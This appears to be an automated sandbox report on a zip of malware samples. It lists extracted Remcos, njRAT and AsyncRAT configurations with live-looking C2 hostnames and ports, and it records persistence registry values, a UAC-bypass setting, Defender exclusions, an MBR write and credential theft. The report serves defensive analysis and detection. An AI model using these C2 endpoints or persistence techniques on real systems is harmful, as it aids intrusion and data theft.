asyncrat | d5395f121277d2b38f4173c7df0a20a3de99edfcfe2aa697080cc81170eb76ab

Resubmissions

09/03/2025, 01:58

250309-cdv29swybs 10

08/03/2025, 06:55

250308-hp35xatjt9 10

08/03/2025, 04:53

250308-fh1ebssky5 10

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 04:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

My-Skidded-malwares-main.zip
Size

106.4MB
MD5

d01f58a973cfceca5abbb124f8e580ff
SHA1

b60fd4d18c92322819300af17bc44e798d0ddef4
SHA256

d5395f121277d2b38f4173c7df0a20a3de99edfcfe2aa697080cc81170eb76ab
SHA512

81d6c94f56d53cd7fa29f5c1d9f8077a176b07b9a2c859b8525f6451660fb906dd960b71358ff870019990f541e816489c131a96b1fb2b7c66178a04ed35904d
SSDEEP

3145728:Sg2PlA+mrMHCwbc/bAjXC0P5JCe94RWQRVBCXD7:SJlmxTAj7PtGR9RVBE3

Malware Config

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

njrat

Version

Hallaj PRO Rat [Fixed]

Botnet

FFF

tibiaserver.ddns.net:2323

Mutex

64805e9b9efcd75e104b05fad0cb2a4c

Attributes

reg_key
64805e9b9efcd75e104b05fad0cb2a4c
splitter
boolLove

Extracted

Family

njrat

Version

0.7d

Botnet

neuf

doddyfire.linkpc.net:10000

Mutex

e1a87040f2026369a233f9ae76301b7b

Attributes

reg_key
e1a87040f2026369a233f9ae76301b7b
splitter
|'|'|

Extracted

Family

asyncrat

Version

0.5.8

Botnet

2 MONEY

twart.myfirewall.org:14143

Mutex

udn3BZ1Fqt3jtiZx

Attributes

delay
30
install
true
install_file
svchost.exe
install_folder
%Temp%

aes.plain

Extracted

Family

remcos

Botnet

GOLAZO

agosto14.con-ip.com:7772

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-KKPQTN
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect PurpleFox Rootkit 3 IoCs

Detect PurpleFox Rootkit.

rootkit

resource	yara_rule
behavioral1/memory/584-95-0x0000000010000000-0x00000000101A5000-memory.dmp	purplefox_rootkit
behavioral1/memory/584-96-0x0000000010000000-0x00000000101A5000-memory.dmp	purplefox_rootkit
behavioral1/memory/584-94-0x0000000010000000-0x00000000101A5000-memory.dmp	purplefox_rootkit

Gh0st RAT payload 3 IoCs

resource	yara_rule
behavioral1/memory/584-95-0x0000000010000000-0x00000000101A5000-memory.dmp	family_gh0strat
behavioral1/memory/584-96-0x0000000010000000-0x00000000101A5000-memory.dmp	family_gh0strat
behavioral1/memory/584-94-0x0000000010000000-0x00000000101A5000-memory.dmp	family_gh0strat

Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Gh0strat family
gh0strat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Sub\\Client.exe"	Client.exe

Njrat family
njrat

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2540	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2408	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2360	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1660	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1144	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2120	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1568	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	976	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	740	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	304	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2584	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2592	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1816	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1676	2856	schtasks.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2636	2856	schtasks.exe	57

PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
rootkit trojan purplefox
Purplefox family
purplefox
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/memory/2952-168-0x0000000000B30000-0x0000000000B86000-memory.dmp	family_stormkitty
behavioral1/files/0x000d00000001a4af-167.dat	family_stormkitty

Stormkitty family
stormkitty

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2992	powershell.exe
2060	powershell.exe
2420	powershell.exe
2332	powershell.exe
1328	powershell.exe
872	powershell.exe
2976	powershell.exe
2176	Powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2988	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\64805e9b9efcd75e104b05fad0cb2a4c.exe	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\64805e9b9efcd75e104b05fad0cb2a4c.exe	svchost.exe

Executes dropped EXE 33 IoCs

pid	Process
584	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
1464	690c1b65a6267d6d0b201ba46089aabc.exe
3056	62264.exe
2860	73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
1356	1231234.exe
2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
1652	SCRIPT~1.EXE
1420	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
2088	651654794161616171771852588547475885414152526396369965885471452525258.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
560	svchost.exe
1740	Launcher.exe
892	Client.exe
2952	zzzz.exe
1408	chargeable.exe
2712	svchost.exe
976	chargeable.exe
1752	690c1b65a6267d6d0b201ba46089aabc.exe
1436	651654794161616171771852588547475885414152526396369965885471452525258.exe
796	csrss.exe
2056	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
1784	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
3032	BlueScreen.exe
1568	CirnoBackdoorLOL.exe
1316	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
1276	cleansaturn.exe
1680	error.exe
2312	concos_1.6.exe
1048	colorful screen darkener.exe
2792	~De867E.tmp
328	CirnoBackdoorLOL.exe
1988	javawvd.exe
2672	$77Microsoft To Do.exe

Loads dropped DLL 41 IoCs

pid	Process
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
584	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
584	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
584	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2536	AnaRAT.exe
2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
1184	Process not Found
2860	73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
2860	73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
560	svchost.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
2976	driverupdate_report_windows_10_22h2.txt.exe
1848	migwiz.exe
2792	~De867E.tmp
2792	~De867E.tmp
2792	~De867E.tmp
2792	~De867E.tmp
820	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	62264.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysMain = "C:\\Users\\Admin\\AppData\\Local\\73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe"	73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\zzzz = "C:\\Users\\Admin\\AppData\\Local\\Temp\\zzzz.exe"	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Roaming\\DriverrHub\\$77Microsoft To Do.exe\""	1231234.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Explorer = "C:\\Program Files (x86)\\Windows NT\\explorer.exe"	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Explorer = "C:\\Program Files (x86)\\Windows NT\\explorer.exe"	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Sub\\WatchDog.exe"	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\confuse = "C:\\Users\\Admin\\AppData\\Roaming\\confuse\\chargeable.exe"	73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\Client = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Client.exe"	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\Cisco = "C:\\Users\\Admin\\Pictures\\Cisco\\VPNManager.exe"	651654794161616171771852588547475885414152526396369965885471452525258.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Desktop\desktop.ini	zzzz.exe
File created	C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Documents\desktop.ini	zzzz.exe
File created	C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Downloads\desktop.ini	zzzz.exe
File created	C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\desktop.ini	zzzz.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
44	discord.com
43	discord.com

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	freegeoip.app
22	api.ipify.org
23	api.ipify.org
24	ip-api.com
26	api.ipify.org
27	api.ipify.org
7	freegeoip.app

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	concos_1.6.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/2536-564-0x0000000000400000-0x00000000004BA000-memory.dmp	autoit_exe
behavioral1/memory/2536-723-0x0000000000400000-0x00000000004BA000-memory.dmp	autoit_exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\migwiz\$dpx$.tmp\ea2fb02a4bdd5f47a0f437c42f6d757f.tmp	wusa.exe
File opened for modification	C:\Windows\system32\migwiz\cryptbase.dll	wusa.exe
File opened for modification	C:\Windows\system32\migwiz\$dpx$.tmp\job.xml	wusa.exe
File opened for modification	C:\Windows\system32\migwiz\$dpx$.tmp	wusa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2176	Powershell.exe
952	wab.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1408 set thread context of 976	1408	chargeable.exe	92
PID 1464 set thread context of 1752	1464	690c1b65a6267d6d0b201ba46089aabc.exe	93
PID 2176 set thread context of 952	2176	Powershell.exe	135

UPX packed file 21 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2536-62-0x00000000012F0000-0x000000000137A000-memory.dmp	upx
behavioral1/files/0x000500000001a42d-60.dat	upx
behavioral1/memory/1420-74-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/584-95-0x0000000010000000-0x00000000101A5000-memory.dmp	upx
behavioral1/memory/584-96-0x0000000010000000-0x00000000101A5000-memory.dmp	upx
behavioral1/memory/584-94-0x0000000010000000-0x00000000101A5000-memory.dmp	upx
behavioral1/memory/584-92-0x0000000010000000-0x00000000101A5000-memory.dmp	upx
behavioral1/memory/1420-246-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1420-478-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/2536-479-0x0000000000400000-0x00000000004BA000-memory.dmp	upx
behavioral1/memory/2976-513-0x00000000006E0000-0x00000000006E9000-memory.dmp	upx
behavioral1/files/0x000500000001c8c2-516.dat	upx
behavioral1/memory/3032-517-0x0000000000400000-0x0000000000409000-memory.dmp	upx
behavioral1/memory/1316-531-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1680-546-0x0000000000400000-0x000000000040D000-memory.dmp	upx
behavioral1/memory/2536-564-0x0000000000400000-0x00000000004BA000-memory.dmp	upx
behavioral1/memory/2976-677-0x00000000047C0000-0x000000000484A000-memory.dmp	upx
behavioral1/memory/1420-720-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/2536-723-0x0000000000400000-0x00000000004BA000-memory.dmp	upx
behavioral1/memory/1420-845-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1420-913-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows NT\explorer.exe	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
File opened for modification	C:\Program Files (x86)\Windows NT\RCX8D61.tmp	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
File created	C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Program Files (x86)\Microsoft Sync Framework\886983d96e3d3e	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Program Files (x86)\Microsoft.NET\spoolsv.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Program Files (x86)\Microsoft.NET\f3b6ecef712a24	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Program Files (x86)\Windows NT\explorer.exe	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe
File created	C:\Windows\xdwd.dll	Client.exe
File created	C:\Windows\AppPatch\it-IT\csrss.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Windows\AppPatch\it-IT\886983d96e3d3e	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Windows\IME\ja-JP\Client.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Windows\IME\ja-JP\5e896533852c8e	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1144	1660	WerFault.exe	90

System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Discord Expliot Kit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	error.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DAMK.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CirnoBackdoorLOL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	651654794161616171771852588547475885414152526396369965885471452525258.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnaRAT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chargeable.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CirnoBackdoorLOL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	javawvd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	690c1b65a6267d6d0b201ba46089aabc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCRIPT~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BlueScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cleansaturn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CRINGE-DO-NOT-RUN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chargeable.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	690c1b65a6267d6d0b201ba46089aabc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	javawvd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javawvd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	651654794161616171771852588547475885414152526396369965885471452525258.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chat_im_cooked.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zzzz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	driverupdate_report_windows_10_22h2.txt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~De867E.tmp

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CirnoBackdoorLOL.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javawvd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	javawvd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	zzzz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	zzzz.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	CirnoBackdoorLOL.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2420	timeout.exe

Modifies registry class 29 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1092616257"	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\IconSize = "16"	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 01000000030000000200000000000000ffffffff	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	Launcher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\TV_FolderType = "{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}"	Launcher.exe
